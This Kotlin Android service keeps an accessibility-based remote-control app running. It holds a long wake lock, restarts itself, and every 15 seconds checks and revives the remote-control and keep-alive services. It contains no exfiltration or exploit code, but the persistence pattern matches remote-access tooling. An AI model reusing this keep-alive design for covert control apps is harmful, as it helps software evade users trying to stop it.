package com.hikoncont.service

import android.app.AlarmManager
import android.app.PendingIntent
import android.app.Service
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
import android.os.Build
import android.os.IBinder
import android.os.PowerManager
import android.provider.Settings
import android.util.Log
import kotlinx.coroutines.*

/**
 * 服务保活器 - 专门保护无障碍服务权限
 */
class ServiceProtector : Service() {

    companion object {
        private const val TAG = "ServiceProtector"
        private const val PROTECTION_INTERVAL = 15000L // 15秒检查一次
    }

    private var wakeLock: PowerManager.WakeLock? = null
    private val serviceScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
    private var protectionJob: Job? = null

    override fun onCreate() {
        super.onCreate()
        Log.i(TAG, "🛡️ 服务保活器创建")
        acquireStrongWakeLock()
        startProtection()
    }

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        Log.i(TAG, "🛡️ 服务保活器启动")
        return START_STICKY
    }

    override fun onBind(intent: Intent?): IBinder? = null

    override fun onDestroy() {
        Log.i(TAG, "🛡️ 服务保活器销毁")
        protectionJob?.cancel()
        serviceScope.cancel()
        releaseWakeLock()
        super.onDestroy()
    }

    private fun acquireStrongWakeLock() {
        try {
            val powerManager = getSystemService(Context.POWER_SERVICE) as PowerManager
            wakeLock = powerManager.newWakeLock(
                PowerManager.PARTIAL_WAKE_LOCK,
                "RemoteControl::ServiceProtector"
            )
            wakeLock?.acquire(24 * 60 * 60 * 1000L)
            Log.i(TAG, "🔋 强力WakeLock已获取")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取WakeLock失败", e)
        }
    }

    private fun startProtection() {
        protectionJob = serviceScope.launch {
            while (isActive) {
                try {
                    checkAndProtectServices()
                    delay(PROTECTION_INTERVAL)
                } catch (e: Exception) {
                    Log.e(TAG, "❌ 保护监控失败", e)
                    delay(PROTECTION_INTERVAL)
                }
            }
        }
    }

    private suspend fun checkAndProtectServices() {
        try {
            if (!isAccessibilityServiceEnabled()) {
                Log.w(TAG, "⚠️ 无障碍服务权限丢失，尝试恢复")
                attemptRestore()
                return
            }

            val accessibilityService = AccessibilityRemoteService.getInstance()
            if (accessibilityService == null) {
                Log.w(TAG, "⚠️ AccessibilityService实例丢失，重启服务")
                restartServices()
            } else {
                Log.d(TAG, "✅ 服务状态正常")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查服务状态失败", e)
        }
    }

    private fun isAccessibilityServiceEnabled(): Boolean {
        return try {
            val accessibilityEnabled = Settings.Secure.getInt(
                contentResolver,
                Settings.Secure.ACCESSIBILITY_ENABLED
            )

            if (accessibilityEnabled == 1) {
                val serviceId = "${packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
                val enabledServices = Settings.Secure.getString(
                    contentResolver,
                    Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
                )
                enabledServices?.contains(serviceId) == true
            } else false
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
            false
        }
    }

    private fun attemptRestore() {
        restartServices()
        serviceScope.launch {
            delay(5000)
            if (!isAccessibilityServiceEnabled()) {
                // ✅ 修复：保活场景下不启动MainActivity，只记录日志
                Log.w(TAG, "⚠️ 无法自动恢复无障碍服务权限（保活场景，不启动MainActivity）")
                Log.w(TAG, "💡 建议：用户可以通过通知或手动打开应用来恢复权限")
                // 不启动MainActivity，避免保活程序拉起MainActivity
            }
        }
    }

    private fun restartServices() {
        try {
            startForegroundService(Intent(this, RemoteControlForegroundService::class.java))
            startService(Intent(this, KeepAliveService::class.java))
            Log.i(TAG, "🔄 已重启相关服务")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重启服务失败", e)
        }
    }

    // ✅ 已移除：保活场景下不启动MainActivity
    // 如果需要用户交互，应该通过通知让用户主动打开应用

    private fun releaseWakeLock() {
        try {
            wakeLock?.release()
            wakeLock = null
        } catch (e: Exception) {
            Log.e(TAG, "❌ 释放WakeLock失败", e)
        }
    }
} 